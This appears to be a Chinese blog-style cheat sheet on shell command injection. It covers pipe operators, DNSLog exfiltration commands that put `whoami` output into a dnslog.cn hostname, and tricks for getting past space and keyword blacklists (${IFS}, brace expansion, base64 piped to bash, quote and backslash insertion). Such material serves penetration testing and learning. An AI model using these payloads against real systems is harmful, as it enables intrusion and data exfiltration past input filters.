管道符
; | 顺序执行,命令之间没有逻辑关系 | 正常顺序执行 | |
&& | 逻辑与; 当命令1正确执行后,才会执行命令2。否则命令2不会执行 | 两个命令都会执行 | |
|| | 逻辑或; 当命令1不正确执行后,命令2才会执行。否则命令2不会执行 | mi | 会执行whom |
其他特殊符号
符号 | 作用 |
---|---|
’ | 单引号,在单引号中所有的特殊符号,如“$”和“`”(反引号)都无特殊含义 |
" | 双引号,在双引号中特殊符号都无特殊含义,但“$”、“`”(反引号)和“\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义 |
` | 反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和() |
$() | 和反引号作用相同,用来引用系统命令 |
# | 在shell脚本中,#开头的行代表注释 |
$ | 用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到 |
\ | 转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符 |
DNSLog带出命令
Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cnWindows:
ping %USERNAME%.uvlmxy.dnslog.cn
绕过空格限制
${IFS}
root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# cat${IFS}tmp
one
hh
nihao
重定向符<>
root@mon-one:~/tmp/tmp# cat<>tmp
one
hh
nihao
{,}
root@mon-one:~/tmp/tmp# {cat,tmp}
one
hh
nihao
使用环境变量
COMMAND=$'\x20-al';ls$COMMAND
绕过命令黑名单
拼接
root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# a=ca;b=t;c=tmp;$a$b $c
one
hh
nihao
base64编码
root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d`
one
hh
nihao
root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash
one
hh
nihao
单引号/双引号
root@mon-one:~/tmp/tmp# ca''t tm""p
one
hh
nihao
*反斜线*
root@mon-one:~/tmp/tmp# c\at tmp
one
hh
nihao
$@绕过
who$@ami
如果觉得有用,感谢师傅给个赞支持下